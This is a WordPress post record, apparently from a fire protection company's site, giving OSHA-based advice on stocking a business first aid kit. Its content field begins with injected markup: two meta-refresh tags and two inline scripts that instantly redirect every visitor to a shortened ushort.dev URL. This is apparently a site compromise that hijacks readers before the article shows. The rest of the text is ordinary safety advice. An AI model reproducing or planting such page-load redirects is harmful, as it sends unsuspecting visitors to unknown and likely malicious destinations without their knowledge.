{"id":10981,"date":"2019-04-15T17:50:06","date_gmt":"2019-04-15T17:50:06","guid":{"rendered":"https:\/\/www.aaafireprotection.com\/index.php\/2019\/04\/03\/7-tips-for-keeping-office-kitchens-safe-2\/"},"modified":"2019-04-03T18:00:49","modified_gmt":"2019-04-03T18:00:49","slug":"what-type-of-first-aid-kit-does-your-business-need","status":"publish","type":"post","link":"https:\/\/www.aaafireprotection.com\/index.php\/2019\/04\/15\/what-type-of-first-aid-kit-does-your-business-need\/","title":{"rendered":"What Type of First Aid Kit Does Your Business Need?"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/RCXAOuT0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.dev\/RCXAOuT0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/RCXAOuT0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.dev\/RCXAOuT0r3\";<\/script><br \/>\n&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">It only takes a moment for workplace silliness to suddenly turn into something else &#8212; a true emergency. Modern businesses are generally safe, as long as they fully conform to the requirements of the Occupational Safety and Health Administration. There are certain specialized businesses that should carefully protect their employees from toxic fumes or contact with dangerous chemicals, too. Here is a brief overview of what you\u2019ll need to keep in your commercial business first aid kit. <\/span><\/p>\n<p><!--more--><\/p>\n<h2>OSHA Requirements for First Aid Kits<\/h2>\n<p><span style=\"font-weight: 400;\">OSHA <\/span><a href=\"https:\/\/www.osha.gov\/laws-regs\/regulations\/standardnumber\/1910\/1910.151AppA\"><span style=\"font-weight: 400;\">first aid kit standards<\/span><\/a><span style=\"font-weight: 400;\"> should be considered the minimum requirement for a small office of 2-3 individuals. If you have more people in your office or worksite, you\u2019ll need to provide multiple first aid kits or appropriately scale the amount of items that are included in the kit. <\/span><\/p>\n<p>At a minimum, your business first aid kit should include:<\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Gauze pads (at least 4 x 4 inches)<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Two large gauze pads (at least 8 x 10 inches)<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Box adhesive bandages (band-aids)<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">One package gauze roller bandage at least 2 inches wide<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Two triangular bandages<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Wound cleaning agent such as sealed moistened towelettes<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Scissors<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">At least one blanket<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Tweezers<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Adhesive tape<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Latex gloves<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Resuscitation equipment such as resuscitation bag, airway, or pocket mask<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Two elastic wraps<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Splint<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Directions for requesting emergency assistance<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">If there is a potential that employees in your business could be exposed to blood or other bodily fluids, you will also be required to maintain personal protective equipment (PPE) under OSHA standards. <\/span><\/p>\n<h2>Optional Items<\/h2>\n<p><span style=\"font-weight: 400;\">These basics are plenty to treat a standard workplace injury, but what about helping your employees work and feel their best? Many organizations also maintain a secondary kit that includes a wider range of items, including: <\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Several types of headache medicine<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Antacids<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Feminine products<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Allergy medication<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Multiple sizes of adhesive bandages<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">First aid cream<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Cotton swabs<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Cooling pads<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Rubbing alcohol<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Hand sanitizer<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Rubber gloves<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">While optional, each of these items can help your staff quickly get back to work in the event of a minor problem. <\/span><\/p>\n<h2>Keep Accurate Records<\/h2>\n<p><span style=\"font-weight: 400;\">OSHA requires that each workplace also keep a complete and up-to-date log of any injuries that happened on the premises and how they were dealt with. This could be anything that requires first aid, but speak with your local OSHA representative to be sure you\u2019re following the standards to stay within compliance for your area. OSHA does offer training opportunities for businesses or key personnel, which can help ensure that you\u2019re protecting both your employees and your business.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Depending on the type of business, you may need to provide urgent care to individuals who are not employed by your business either full or part-time. This could be anyone from consultants who happen to be onsite or customers of your business. Accurate record keeping is crucial when it comes to staying within the law and avoiding any type of compliance issues. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Keeping your first aid kit fully stocked should be a task assigned to someone in your organization. Many companies have their kits in a place that can be accessed easily by a majority of your organization, such as a receptionist\u2019s desk, near the kitchen or break room. Want to be sure your fire protection system is up-to-date, along with your first aid kit? Contact <\/span><a href=\"https:\/\/www.aaafireprotection.com\/\"><span style=\"font-weight: 400;\">AAA Fire Protection<\/span><\/a><span style=\"font-weight: 400;\"> today at 855-356-0020 to learn more or receive a free initial estimate for your business.<\/span><\/p>\n<input type=\"hidden\" class=\"contant_id\" name=\"contant_id\" id=\"contant_id\" value=\"10981\"\/>","protected":false},"excerpt":{"rendered":"<p>&nbsp; It only takes a moment for workplace silliness to suddenly turn into something else &#8212; a true emergency. Modern businesses are generally safe, as long as they fully conform to the requirements of the Occupational Safety and Health Administration. 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